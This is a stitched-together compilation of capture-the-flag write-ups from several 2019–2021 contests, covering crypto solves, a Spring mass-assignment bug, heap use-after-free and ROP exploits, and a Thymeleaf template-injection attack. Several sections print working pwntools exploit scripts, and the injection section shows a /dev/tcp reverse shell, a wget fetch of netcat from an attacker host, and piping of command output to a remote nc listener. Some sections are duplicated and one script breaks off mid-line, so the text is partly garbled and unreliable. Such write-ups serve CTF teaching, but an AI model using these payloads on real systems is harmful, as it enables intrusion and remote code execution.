bytes.fromhex(ct_b.split(b" : ")[1].replace(b"0x", b"").decode()) # Now, compute the private values of both alice and bob by solving the# discrete logarithm problem on their public values (since g^priv = pub).# These aren't the actual values, but rather the values mod each of the 4# primes used, but that is good enough since we always operate mod those primespriv_a_res = [int(discrete_log(primes[i], a_pub[i], g)) for i in range(4)]priv_b_res = [int(discrete_log(primes[i], b_pub[i], g)) for i in range(4)] # Now that we know the private values, compute the AES keyskey_a = [pow(b_pub[i], priv_a_res[i], primes[i]) for i in range(4)]key_b = [pow(a_pub[i], priv_b_res[i], primes[i]) for i in range(4)] # convert from integers to byte sequenceskey_a = b''.join(x.to_bytes(4, 'little') for x in key_a)key_b = b''.join(x.to_bytes(4, 'little') for x in key_b) # and decrypt the ciphertextspt_a = AES.new(key_a, AES.MODE_CBC, iv=b'\x00'*16).decrypt(ct_a)pt_b = AES.new(key_b, AES.MODE_CBC, iv=b'\x00'*16).decrypt(ct_b) print(pt_a + pt_b)# b'darkCON{d1ff13_h3llm4n_1s_vuln3r4bl3_t0_m4n_1n_th3_m1ddl3_1789}\x00'```
Shop V.2======== Task description---------------- > Fixed some things http://shop2.q.2019.volgactf.ru Solution-------- TL;DR: Mass assignment vulnerability through ModelAttribute in Spring Boot(using an array and a different setter name). This tasks involves nearly the same shop application as in the shop task. Theonly difference is, that the `buy` method was disabled. We therefore onlydescribe the differences in the exploit here and recommend to read the write-upfor shop first. In the robots.txt you will find `Disallow: /shop-1.0.1.war`, which gives yournearly the same source code, except for the `buy` method, which no longer canbe used to buy products. However, we are still left with the `profile` method: @Controller public class ShopController { // [...] @RequestMapping({"/profile"}) public String profile(@ModelAttribute("user") User user, Model templateModel, HttpServletRequest request) { HttpSession session = request.getSession(); if (session.getAttribute("user_id") == null) { return "redirect:index"; } else { List<Product> cart = new ArrayList(); user.getCartItems().forEach((p) -> { cart.add(this.productDao.geProduct(p.getId())); }); templateModel.addAttribute("cart", cart); return "profile"; } } We find the same ModelAttribute annotation on the user variable. However,while we can change the `balance` attribute, is has only an effect on therendered template, since the changes on user are not written to the database.Additionally, we cannot buy anything, so having many monetary units providesnot benefit. However, there is another interesting attribute: `cart`. We couldput the flag product in our cart and display it on the profile (withoutactually posessing it). The methods reads all products in our cart from thedatabase again, so we will receive the flag once we have a product in our cartwith a `productId` of 4. The `cart` attribute is of type `List[Product]`, so it is not only a scalarvalue, but a more complex structure. After some search on how Spring Boothandles such values in form data, we found the correct way of encoding listswith objects: `cart[0].id`, `cart[0].title`, and so on. So we appended thosefield names to the URL, setting `cart[0].id = 4`. This resulted in an “HTTP 400Bad Request”. Turns out that the browser does not encode them properly whenyou just append them to the URL in the URL bar. So we create a simple HTML formto craft the request. While the request was processed correctly, we did notfind the flag in our cart. Taking a closer look, you will find that the usermodels defines a setter `setCartItems` instead of `setCart`. So changing thefield names to `cartItems[0].id`, `cartItems[0].title` etc., results in theflag `VolgaCTF{e86007271413cc1ac563c6eca0e12b62}` being shown on the profile.
# msgbox More secure than "Whatsapp" ? `nc 157.230.33.195 2222 ` Flag format : Trollcat{} **Author : codacker** **Files**: `msgbox.zip` (`vuln`, `vuln.c`, `libc.so.6`) ```sh$ checksec msgbox.o # renamed vuln[*] 'msgbox.o' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)$ ../libc-database/identify msgbox.so.6 # renamed libc.so.6libc6_2.27-3ubuntu1.4_amd64``` I use [pwnscripts](https://github.com/152334H/pwnscripts) to finish libc challenges quickly. ## Code parsing `strings[]` is an array of _strings_ (`char*`) that starts off empty. `sizes[]` is an array keeping track of the lengths of each string. Both are `0x10` large. ### `add()` * user-provided index; assert on boundaries* `strings[i] = malloc(<user provided size>)`* `read(size-1)` to take in input* `size[i] = size` ### `show()` * takes user-provided index, **no bounds checking*** uses `%s` with `printf()`, so possible overprinting due to lack of nul-terminator ### `delete()` * user-provided index; assert on boundaries* `free(strings[idx])`. No zeroing out of `strings[idx]`/`sizes[idx]`; **clear UAF / double-free** ### `edit()` * user-provided index; assert on boundaries* `read(0, strings[idx], sizes[idx])`. Note that this is 1 larger than what `add()` originally does. I also prepared a python framework to deal with this challenge: ```pythonfrom pwnscripts import *context.binary = 'msgbox.o'context.libc_database = '../libc-database'context.libc = 'msgbox.so.6'r = remote('157.230.33.195', 2222) def add(size: int, idx: int, msg: bytes): r.sendlineafter('> ', '1') r.sendlineafter('size: ', str(size)) r.sendlineafter('idx: ', str(idx)) r.sendafter('message: ', msg)def show(idx: int): r.sendlineafter('> ', '2') r.sendlineafter('idx: ', str(idx)) return r.recvline()def delete(idx: int): r.sendlineafter('> ', '3') r.sendlineafter('idx: ', str(idx))def edit(idx: int, msg: bytes): r.sendlineafter('> ', '4') r.sendlineafter('idx: ', str(idx)) r.sendafter('message: ', msg)``` With that out of the way, what're we going to do? ## how2heap This challenge doesn't have a single fixed solution; there are _many_ heap-based vulnerabilities present in the source code, and I'll only be using two to get through: ### Arbitrary Relative Dereference `show()` is the only function that happens to lack bounds checking (i.e. asserting `0<=idx<0x10`), and we can abuse it for an arbitrary read. Because `show(idx)` will essentially commit `printf("%s", strings[idx])`, we can read any pointer located around the `0x400000-0x600000+` range (so long as it is _actually_ a pointer). Since leaking libc is usually important for a heap challenge, I decided to try finding a _pointer_<sup>1</sup> to a libc location in the binary. A quick scan in gdb-gef led to results: `0x0000000000400580│+0x0580: 0x0000000000601ff0 → 0x00007fffff0801f0 → <__libc_start_main+0> push r14` This corresponds with this section in IDA: `LOAD:0000000000400580 Elf64_Rela <601FF0h, 800000006h, 0> ; R_X86_64_GLOB_DAT __libc_start_main` This means that `strings[(0x400580-(int)strings)/8]` will be a pointer to libc, and we'll get the libc base with a simple one-liner: ```pythoncontext.libc.symbols['__libc_start_main'] = unpack_bytes(show((0x400580-context.binary.symbols['strings'])//8).split(b'] ')[-1], 6)``` With libc leaked, all we need to do is to overwrite `__free_hook` to gain arbitrary code execution. ### Use-After-Free In `delete()`, `strings[idx]` is `free()`d without setting `strings[idx] = 0`. This is dangerous for multiple reasons, but one of the easier things we can do here is to run `edit(idx, writeable_location)` _after_ `delete(idx)`: ```pythonSZ = 0x18add(SZ, 0, b'garbage')delete(0)edit(0, pack(context.libc.symbols['__free_hook']))``` After `delete(0)`, the tcache free list will contain a single saved pointer. `edit()`ing the deleted pointer will add an extra pointer to the free list; I'm editing the string to contain `__free_hook` so that the _next_ allocation will point towards there: ```pythonadd(SZ, 0, b'/bin/sh;') # this is the original add()'d pointeradd(SZ, 1, pack(context.libc.symbols['system'])) # this allocation is given __free_hook; I overwrite it with system()delete(0) # __free_hook causes system("/bin/sh")``` That's it. ## Flag `Trollcat{h34p_h34p_g0_4w4y}` 1. Note the level of dereferencing here. The GOT table is a list of functions; using `show()` to display pointers on the GOT table would only result in "leaking" assembly code.
Проанализировав код, понимаем, что суть таска в том, чтобы максимально быстро посчитать `(a**b)**(c**d)%n`.В голову сразу приходит бинарное возведение степень, которое позволяет возводить в n-ую степень за log(N). Заметим, что имея работу с остатком от деления, мы можем видоизменить функцию возведения в степень. У меня она вышла такой:```def fast_pow(x, y, mod): if y == 0: return 1 if y == -1: return 1. / x p = fast_pow(x, y // 2, mod) p *= p if y % 2: p *= x return p % mod```~~Берем код бинарного возведения в степень из гугла~~Реализуем бинарное возведение в степень и меняем `(a**b)**(c**d)%n` на `fast_pow(a**b, c**d, n)`.Попробовав запустить, замечаем, что код все равно выполняется долго, так как `a**b` само по себе требуют значительного времени. Аналогично первой оптимизации мы можем записать `fast_pow(fast_pow(a, b, n), c**d, n)`, но теперь требуется оптимизировать вычисление `c**d`.А тут приходит идея того, что последовательность, заданная формулой `((a**b%n)**i)%n`, где i - номер числа в ряду, является циклической. Тогда найдем период `t` этого ряда и тогда искомая формула сводится к `fast_pow(fast_pow(a, b, n), fast_pow(c, d, t), n)`.Для вычисления этой формулы введем `base = fast_pow(a, b, n)`, тогда `t` можно получить так:```temp = (base ** 2) % nt = 1while t != base: t += 1 temp *= base temp %= n```Выполняем алгоритм на данном зашифрованном флаге и получаем `ugra_it_is_too_powerful_rsa_right_56c19b679ca`.
# UGRA CTF 2021-------------------------------------- ## Crypto 150 "Арбатско-Покровская линия?"   https://q.2021.ugractf.ru/tasks/apl It was given the following code in a unknown environment: ```sh ⎕IO ← 0 A ← 'abcdefghijklmnopqrstuvwxy_1234567890' I ← (6 6 ⍴ 1 + ⍳6)+⍉(10 × 6 6 ⍴ 1 + ⍳6) S ← 6 6 ⍴ A E ← {⌈/⌈/ (~⍵ ⍳ S) × I} E¨flag43 21 36 11 52 42 22 15 52 32 15 46 42 52 41 42 11 42 23 33 32 52 23 41 52 15 41 33 42 15 36 23 13 52 34 36 33 21 36 11 31 31 23 32 21 52 53 14 62 66 15 12 12 12 55 13 15 16 54 64 13 53 11 53 64 15 16 55 66 64 65 53 54 64 62 63 13 16 62 66 63 61 15 61 55 16 13 16 53 62 13 55 54 66 65 56 66 56 15 12 63 12 64 61 ``` What is this strange code?? After some research, we get to know that it corresponds to a symbolic programming language, very good for creating one liner encryptions: https://en.wikipedia.org/wiki/APL_(programming_language) I found an online shell and started checking what this outputs https://tio.run/#apl-dyalog-classic Nothing interesting, just an error. I start studying how this language works, and find out the the code assigned to E is, at least, strange. I also find a way to see what is stored in the vars I and S: ```sh11 12 13 14 15 1621 22 23 24 25 2631 32 33 34 35 3641 42 43 44 45 4651 52 53 54 55 5661 62 63 64 65 66abcdefghijklmnopqrstuvwxy_1234567890``` It could be a mapping to decode the hexa values given..?I do a simple script, and it seems I was right ) ```shugra_the_next_station_is_esoteric_programming_1d60ebbb3cef28c1a18ef308912867cf6075e53fcf16c3209404eb7b85```   -------------------------------------- ## Pwn 250 "Антивирус" https://q.2021.ugractf.ru/tasks/antivirus I find a page for uploading a file and choosing file extension to be analyzed for an antivirus. Playing with different inputs in the Multi-form, we find out some interesting output:   ![title](AntiVirus.png)   Playing a bit more we can make the paths coincide so the uploaded file is executed on the server side.Creating a single script inside to show what is in /etc/passwd , the flag is there!   ![title](winner_pwn.png)
# [Localization is hard - web] AeroCTF ## 0x00 To solve this challenge we had to exploit a **[SSTI](https://portswigger.net/research/server-side-template-injection)** on **Thymeleaf** and lead that into a **Remote Code Execution** ## 0x01 #### Discovering the vulnerability The challenge description talk about a Coffee who made for CTFers and in **English and in Russian**. ![CTF description](https://i.imgur.com/88wE70b.png) Btw , the challenge description tell us that the flag should be located at `/` on the file system, this maybe mean that we have to get an access to the machine to read the flag. By inspecting the website we can read that the language can be choosed by clicking on a button. `(onclick` event), then the `set_language(lang)` function will be executed *(quick look into the /js/templatemo-script.js)* ```javascript function set_language(lang) { document.cookie = "lang=" + lang; window.location.reload();} ``` the function set a cookie `lang` with `en` or `ru` *trying a path traversal "../flag/"* ```bash curl http://151.236.114.211:7878/ --cookie "lang=en" ``` ![response](https://i.imgur.com/wwxbzN0.png)"**org.thymeleaf.exceptions.TemplateInputException**" by googling this error message, we find : [**thymeleaf**](https://www.thymeleaf.org/) .This a modern server-side Java template engine for both web and standalone environments. ## 0x02#### Find out about this Template-EngineAssuming **Thymeleaf** as a template engine , we can think about a ***Server-side template injection***.So searching about SSTI on this template engine**>>** [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)**>>** [https://www.veracode.com/blog/secure-development/spring-view-manipulation-vulnerability](https://www.veracode.com/blog/secure-development/spring-view-manipulation-vulnerability)**>>** [https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#thymeleaf-java](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#thymeleaf-java) #### Exploitation To attempt an SSTI in Thymeleaf, we first must understand expressions that appear in Thymeleaf attributes. Thymeleaf expressions can have the following types: `${...}`: Variable expressions – in practice, these are OGNL or Spring EL expressions.`*{...}`: Selection expressions – similar to variable expressions but used for specific purposes.`#{...}`: Message (i18n) expressions – used for internationalization.`@{...}`: Link (URL) expressions – used to set correct URLs/paths in the application.`~{...}`: Fragment expressions – they let you reuse parts of templates. - `__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x` - `__${T(java.lang.Runtime).getRuntime().exec("whoami")}__::.x` According [Acunetix](https://www.acunetix.com/). However, as we mentioned before, expressions only work in special Thymeleaf attributes. If it’s necessary to use an expression in a different location in the template, Thymeleaf supports _expression inlining_. To use this feature, you must put an expression within `[[...]]` or `[(...)]` (select one or the other depending on whether you need to escape special symbols). Therefore, a simple SSTI detection payload for Thymeleaf would be `[[${7*7}]]`. So let's try on the site cookie to check the **RCE**``__%24%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7D__%3A%3A.x`` ![response 500](https://i.imgur.com/4ywvJ38.png)We don't have the **stdout** in the response but we always have a 500 response. It's maybe blind based, so let's try to sleep.![sleep server](https://i.imgur.com/W8J1WHE.png)It's work ! So now, we understand that :when we got `org.thymeleaf.exceptions.TemplateInputException` this mean that the command is executed, but when we send a bad command or a non-urlencoded payload we got ``java.lang.IllegalArgumentException`` ## 0x03#### Connect to our machine We tried firstly to do a simple tcp reverse shell with ```bash __%24%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22%2Fbin%2Fsh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fmyip%2F1337%200%3E%261%22).getInputStream()).next()%7D__%3A%3A.x ``` But nothing...So let's try to wget a nc binary on our machine `__%24%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22wget%20ip/nc%22).getInputStream()).next()%7D__%3A%3A.x` and now try to bind shell our machine..![receive connexion](https://i.imgur.com/aburDce.png)Bingo ! We got a connexion from the machine, but nothing in the output. #### Getting a shell environment from Runtime.exec According [code white](https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html)The command passed to `Runtime.exec` is not executed by a shell. Instead, if you dig down though the Java source code, you'll end up in the [_UNIX process class](http://hg.openjdk.java.net/jdk7/jdk7/jdk/file/tip/src/solaris/classes/java/lang/UNIXProcess.java.linux), which reveals that calling `Runtime.exec` results in a `fork` and `exec` call on Unix platforms. Exemple: ```java import java.io.*; public class Exec { public static void main(String[] args) throws IOException { Process p = Runtime.getRuntime().exec(args[0]); byte[] b = new byte[1]; while (p.getErrorStream().read(b) > 0) System.out.write(b); while (p.getInputStream().read(b) > 0) System.out.write(b); } } ```We call this class as shown below with single quotes around the command line to ensure that our shell passes the command line argument to Java as is: $ java Exec 'command arg1 arg2 ...'So let's try to use this to read our flag :`__%24%7Bnew%20java.util.Scanner%28T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22sh%20-c%20%24%40%7Csh%20.%20echo%20ls%20-la%20%2F%7C%20nc%20ip%201337%22%29.getInputStream%28%29%29.next%28%29%7D__%3A%3A.x` **url decoded payload** ``__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("sh -c $@|sh . echo ls -la /| nc ip 1337").getInputStream()).next()}__::.x`` ![ls -la](https://i.imgur.com/IGqCDZC.png) Now cat the flag :``__%24%7Bnew%20java.util.Scanner%28T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22sh%20-c%20%24%40%7Csh%20.%20cat%20%2Ftry_find_me.txt%7C%20nc%20ip%201337%22%29.getInputStream%28%29%29.next%28%29%7D__%3A%3A.x`` ![flag](https://i.imgur.com/IxSBfpt.png) **Aero{j4va_1s_better_th4n_engl1sh}** Cheers, @0x22sh =)
In this challenge we are given one RSA private key and 5 public keys. However, the modulus for all of the private keys is the same. This means that if we manage to factor the modulus, we can compute the private exponents of all keys. This can be done with an algorithm such as [this one](https://crypto.stackexchange.com/a/62487), however it is also already implemented in PyCryptodome. ```pyfrom Crypto.PublicKey import RSA # from alice_secret.txtn = 134...707e = 65537d = 195...593 key = RSA.construct((n,e,d))# PyCryptodome computes p and q for usphi = (key.p-1)*(key.q-1) # from all_publickeys.txtexponents = [65537, 68719476737, 4294967297, 1048577, 16777217]encrypted_msgs = [] with open("encrypted_chats.txt") as f: for line in f: if ': ' in line: encrypted_msgs.append(eval(line.split(": ")[1])) for i in range(5): d = pow(exponents[i], -1, phi) ct = int.from_bytes(encrypted_msgs[i], 'big') msg = pow(ct, d, n).to_bytes(128, 'big').lstrip(b'\x00') print(msg) # b'Hi everyone! Are you enjoing darkCON?\n'# b'Hell yeah! Charlie, do you have the secret thing?\n'# b'Got it! darkCON{4m_I_n0t_supp0sed_t0_g1v3_d???}\n'# b'[Sush]...[Sussshhh]... Eve Eve...Eve is there!\n'# b"Nah...She doesn't even have our Private Keys"```
The executable provided prints out two strings, then reads a string with `gets` into a small local (on the stack) buffer. This exposes a well-known buffer overflow attack, where ROP can be used to execute arbitrary code (the goal currently being to get a shell). The file is statically linked, and PIE is disabled, so any static ROPchain should work fine. One can be generated using `ROPgadget`: ```bashROPgadget --ropchain --binary easy-rop``` which gives a huge payload (I guess it didn't find a good way to set `eax` to a higher value). Adjusting it via debugging (run with `gdb`, check what address ended up as the first return address), 72 bytes of padding are needed before the payload. The final payload generator is: ```python#!/usr/bin/env python2# execve generated by ROPgadget from struct import pack p += pack('
# Broken QR - 100 points##### MessageCan you scan this QR code for me?##### File![task image](broken_qr.png)##### SolutionIn this task, above QR code had to be restored into a scannable format. My main resource for this task was the article "Wounded QR codes" by DataGenetics (https://www.datagenetics.com/blog/november12013/index.html).![image from the article](https://www.datagenetics.com/blog/november12013/anat.png)I started by restoring the positioning markers in the top left and top right corner by simply copying the one from the bottom left corner into their positions. Then, I fixed the left timing mark by copying the other one, rotating it by 90 degrees and putting it in the correct position. My last step was to copy a single black square and insert it at any position where remains indicated former black markers. However, that step was probably optional as it restored no markers essential for scanning a QR code. I used the open source image editor Krita.![progress image](qr_reconstruction.png)Upon scanning the resulting QR code, I found the flag:```shflag{d4mn_it_w0nt_sc4n}```
Start at `0x550000000000` and start mapping a MAP_FIXED_NOREPLACE | MAP_NORESERVE memory of size `0xf0000000`. Map until it fails which means that you, congrats, found the emulator image.Now, immediately after the failed map, map some memory and put your payload there.Now, map the memory with MAP_FIXED | MAP_NORESERVE where the emulator image is.This will zero-out the memory and it would normally lead to a crash when the kernel returns.However, because RAX will contain the start address of the now-mapped memory and because 00 00 ... decodes to `add byte ptr [rax], al`, this will essentially create a nop sled. The sled will go directly to your shell payload :)
# darkCON 2021-------------------------------------- ## RE "Read/Reverse"  A .pyc python compiled file is given. I found a great tool for decompiling it to original code https://pypi.org/project/uncompyle6/ The given code is full of no useful names of variables and many lists and encoded strings joking like "This is not the Flag for sure". In the end, I see this piece of code```python def lababa(lebula): alalalalalalal = [ 73, 13, 19, 88, 88, 2, 77, 26, 95, 85, 11, 23, 114, 2, 93, 54, 71, 67, 90, 8, 77, 26, 0, 3, 93, 68 ] result = '' for belu in range(len(alalalalalalal)): if lebula[belu] != chr(alalalalalalal[belu] ^ ord(babababa[belu])): return 'bbblalaabalaabbblala' b2a = '' a2b = [122, 86, 75, 75, 92, 90, 77, 24, 24, 24, 25, 106, 76, 91, 84, 80, 77, 25, 77, 81, 92, 25, 92, 87, 77, 80, 75, 92, 25, 74, 77, 75, 80, 87, 94, 25, 88, 74, 25, 95, 85, 88, 94 ] for bbb in a2b: b2a += chr(bbb ^ 57) else: return b2a``` Running the code for b2a, I see some reference of the flag.I also notice that 'result' is never used, and that block has the var 'babababa' has another reference to a flag. So, I do another simple snipet for checking what this operation is having as out put, and I find the flag ```darkCON{0bfu5c4710ns_v5_4n1m4710ns}```   --------------------------------------## Crypto "Take it easy"  We are given a zip file. Inside, "givekey.txt" and 2 other password protected files.Inside it: ```p = 147310848610710067833452759772211595299756697892124273309283511558003008852730467644332450478086759935097628336530735607168904129699752266056721879451840506481443745340509935333411835837548485362030793140972434873394072578851922470507387225635362369992377666988296887264210876834248525673247346510754984183551ct = 43472086389850415096247084780348896011812363316852707174406536413629129e = 3```Which seems to be the parameters of a RSA.p is prime, and 1024 prime length, what corresponds to a 2048 bits RSA key.e = 3 is vulnerable, as this very good article explains:https://www.johndcook.com/blog/2019/03/06/rsa-exponent-3/But the winning card is ct length.Because it is too small compared to p, the mod operation will have no effect in d = e^-1 mod(p-1)(q-1)So using ct and calculating cubic root we have:```pt = 351617240597289153278809```Converting to hex, and then encoding to text:```Ju5t_@_K3Y```Now we decrypt the filez, the cipher.txt contains some bytes values. The other, a python file implementing a simple xor based encryption. ```pythonfrom struct import pack, unpackflag = b'darkCON{XXXXXXXXXXXXXXXXXXX}' def Tup_Int(chunk): return unpack("I",chunk)[0] chunks = [flag[i*4:(i+1)*4] for i in range(len(flag)//4)]ciphertext = "" f = open('cipher.txt','w')for i in range(len(chunks) - 2): block = pack("I", Tup_Int(chunks[i]) ^ Tup_Int(chunks[i+2])) ciphertext = 'B' + str(i) + ' : ' + str(block) + '\n' f.write(ciphertext)``` We know the first 2 blocks```[b"dark", b"CON{"]```Reversing the encryption algo, and with the values of cipher.txt, we have a system of 3 XOR equations and 3 incognitas, so solvable```darkCON{n0T_Th@t_haRd_r1Ght}```
# UGRA CTF 2021-------------------------------------- ## Crypto 150 "Арбатско-Покровская линия?"   https://q.2021.ugractf.ru/tasks/apl It was given the following code in a unknown environment: ```sh ⎕IO ← 0 A ← 'abcdefghijklmnopqrstuvwxy_1234567890' I ← (6 6 ⍴ 1 + ⍳6)+⍉(10 × 6 6 ⍴ 1 + ⍳6) S ← 6 6 ⍴ A E ← {⌈/⌈/ (~⍵ ⍳ S) × I} E¨flag43 21 36 11 52 42 22 15 52 32 15 46 42 52 41 42 11 42 23 33 32 52 23 41 52 15 41 33 42 15 36 23 13 52 34 36 33 21 36 11 31 31 23 32 21 52 53 14 62 66 15 12 12 12 55 13 15 16 54 64 13 53 11 53 64 15 16 55 66 64 65 53 54 64 62 63 13 16 62 66 63 61 15 61 55 16 13 16 53 62 13 55 54 66 65 56 66 56 15 12 63 12 64 61 ``` What is this strange code?? After some research, we get to know that it corresponds to a symbolic programming language, very good for creating one liner encryptions: https://en.wikipedia.org/wiki/APL_(programming_language) I found an online shell and started checking what this outputs https://tio.run/#apl-dyalog-classic Nothing interesting, just an error. I start studying how this language works, and find out the the code assigned to E is, at least, strange. I also find a way to see what is stored in the vars I and S: ```sh11 12 13 14 15 1621 22 23 24 25 2631 32 33 34 35 3641 42 43 44 45 4651 52 53 54 55 5661 62 63 64 65 66abcdefghijklmnopqrstuvwxy_1234567890``` It could be a mapping to decode the hexa values given..?I do a simple script, and it seems I was right ) ```shugra_the_next_station_is_esoteric_programming_1d60ebbb3cef28c1a18ef308912867cf6075e53fcf16c3209404eb7b85```   -------------------------------------- ## Pwn 250 "Антивирус" https://q.2021.ugractf.ru/tasks/antivirus I find a page for uploading a file and choosing file extension to be analyzed for an antivirus. Playing with different inputs in the Multi-form, we find out some interesting output:   ![title](AntiVirus.png)   Playing a bit more we can make the paths coincide so the uploaded file is executed on the server side.Creating a single script inside to show what is in /etc/passwd , the flag is there!   ![title](winner_pwn.png)
The first part of this challenge is a broken RSA implementation. We are given 3 numbers, `p`, `ct` and `e`, which correspond to the RSA modulus, ciphertext, and public exponent. However, the modulus is prime, so we can easily compute phi(p) = p-1, and then compute the private exponent `d` using `d = e^-1 (mod phi(p))`. Then we can simply decrypt the ciphertext to get the zip password. ```pyd = pow(e, -1, p-1)pt = pow(ct, d, p)password = pt.to_bytes(10, 'big')print(password)# b'Ju5t_@_K3Y'``` Inside the zip file, we find a simple xor-based cipher. Each block of the ciphertext is 2 blocks of the flag xor'ed together. Since xor is its own inverse, if we know one of the blocks that went into xor, we can get the other block by simply applying xor again. We know the first 2 blocks because we know the flag format. ```py# bytewise xorxor = lambda a,b: bytes(x^y for x,y in zip(a,b)) blocks = [b'\nQ&4', b"\x17'\x0e\x0f", b'1X5\r', b'072E', b'\x18\x00\x15/']output = [b"dark", b"CON{"]for i,ct in enumerate(blocks): output.append(xor(ct, output[i]))print(b"".join(output))# b'darkCON{n0T_Th@t_haRd_r1Ght}'```
### Summary1. calloc(-1, …) is return 02. puts_got → main3. exit_got → 0x4008464. setbuf_got → puts_plt+6 (leak!)5. alarm_got → main+16. puts_got → one_gadget
# darkCON 2021-------------------------------------- ## RE "Read/Reverse"  A .pyc python compiled file is given. I found a great tool for decompiling it to original code https://pypi.org/project/uncompyle6/ The given code is full of no useful names of variables and many lists and encoded strings joking like "This is not the Flag for sure". In the end, I see this piece of code```python def lababa(lebula): alalalalalalal = [ 73, 13, 19, 88, 88, 2, 77, 26, 95, 85, 11, 23, 114, 2, 93, 54, 71, 67, 90, 8, 77, 26, 0, 3, 93, 68 ] result = '' for belu in range(len(alalalalalalal)): if lebula[belu] != chr(alalalalalalal[belu] ^ ord(babababa[belu])): return 'bbblalaabalaabbblala' b2a = '' a2b = [122, 86, 75, 75, 92, 90, 77, 24, 24, 24, 25, 106, 76, 91, 84, 80, 77, 25, 77, 81, 92, 25, 92, 87, 77, 80, 75, 92, 25, 74, 77, 75, 80, 87, 94, 25, 88, 74, 25, 95, 85, 88, 94 ] for bbb in a2b: b2a += chr(bbb ^ 57) else: return b2a``` Running the code for b2a, I see some reference of the flag.I also notice that 'result' is never used, and that block has the var 'babababa' has another reference to a flag. So, I do another simple snipet for checking what this operation is having as out put, and I find the flag ```darkCON{0bfu5c4710ns_v5_4n1m4710ns}```   --------------------------------------## Crypto "Take it easy"  We are given a zip file. Inside, "givekey.txt" and 2 other password protected files.Inside it: ```p = 147310848610710067833452759772211595299756697892124273309283511558003008852730467644332450478086759935097628336530735607168904129699752266056721879451840506481443745340509935333411835837548485362030793140972434873394072578851922470507387225635362369992377666988296887264210876834248525673247346510754984183551ct = 43472086389850415096247084780348896011812363316852707174406536413629129e = 3```Which seems to be the parameters of a RSA.p is prime, and 1024 prime length, what corresponds to a 2048 bits RSA key.e = 3 is vulnerable, as this very good article explains:https://www.johndcook.com/blog/2019/03/06/rsa-exponent-3/But the winning card is ct length.Because it is too small compared to p, the mod operation will have no effect in d = e^-1 mod(p-1)(q-1)So using ct and calculating cubic root we have:```pt = 351617240597289153278809```Converting to hex, and then encoding to text:```Ju5t_@_K3Y```Now we decrypt the filez, the cipher.txt contains some bytes values. The other, a python file implementing a simple xor based encryption. ```pythonfrom struct import pack, unpackflag = b'darkCON{XXXXXXXXXXXXXXXXXXX}' def Tup_Int(chunk): return unpack("I",chunk)[0] chunks = [flag[i*4:(i+1)*4] for i in range(len(flag)//4)]ciphertext = "" f = open('cipher.txt','w')for i in range(len(chunks) - 2): block = pack("I", Tup_Int(chunks[i]) ^ Tup_Int(chunks[i+2])) ciphertext = 'B' + str(i) + ' : ' + str(block) + '\n' f.write(ciphertext)``` We know the first 2 blocks```[b"dark", b"CON{"]```Reversing the encryption algo, and with the values of cipher.txt, we have a system of 3 XOR equations and 3 incognitas, so solvable```darkCON{n0T_Th@t_haRd_r1Ght}```
# Mirror The application has two vulnerabilities which allow to gain remote code execution. The first is user-controlled format string which provides the attacker with an ability to read arbitrary stack values.Using this vulnerability, it is possible to calculate binary base address as there is QWORD on stack which value has fixed offset inside the binary. This value is used later.Next the binary leaks rax value and printf_address. First value is used to calculate stack alignment and find appropriate value used as one-byte overwrite in the next vulnerability. Second value allows to determine libc base address and, consequently, addresses of /bin/sh string and system function inside libc. Exact version of libc was found with libc database – thanks to the fact that same functions in different libc versions have different last 1,5 bytes.The main vulnerability is in function reveal. The binary overflows the buffer with one byte. Thus, using rax value, it is possible to determine location of user-controlled string and use ordinary ROP-chain to gain remote code execution. There is no seccomp protection in the task.The following code will give us an interactive shell: ```Pythonfrom pwn import *context.terminal = ['terminator', '-e']def hex_to_number(S): binary_address = bytes.fromhex(S.decode()[2:]) while len(binary_address) < 8: binary_address = b"\x00" + binary_address binary_address = u64(binary_address, endian='big') return binary_addressio = remote("docker.hackthebox.eu", 30326)d = io.recvuntil(b"> ")print(d)io.sendline(b"y "+b"%p %10$p")d = io.recvline()print(d)binary_address = d.strip().split(b' ')[-1]binary_address = hex_to_number(binary_address)binary_delta = 0x1330binary_base = binary_address - binary_deltaprint("Binary base:", hex(binary_base))print(d)d = io.recvuntil(b"craftsman.. ")print(d)d = io.recvline()print(d)address1 = d.split(b" ")[0][1:-1]rax = hex_to_number(address1)address2 = d.split(b" ")[1][1:-3]printf_address = hex_to_number(address2)print(hex(rax), hex(printf_address))off_byte = (rax & 0xff) - 0x08print(off_byte)d = io.recv()print(d) pop_rdi_delta = 0x0000000000001393pop_rdi_address = binary_base + pop_rdi_deltabin_sh_address = printf_address + 0x131d3csystem_address = printf_address - 0xdbd0bin_sh_address = printf_address + 0x14eeaasystem_address = printf_address - 0x15a20payload = p64(pop_rdi_address) + p64(bin_sh_address) + p64(system_address) + b"A"*8 + off_byte.to_bytes(1, byteorder='little')io.sendline(payload)io.sendline("ls")io.interactive()``` The successful exploitation can be seen on Figure 1. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-22-54-53.png) Figure 1 – The successful exploitation Flag: HTB{0n3_byt3_cl0s3r_2_v1ct0ry}.
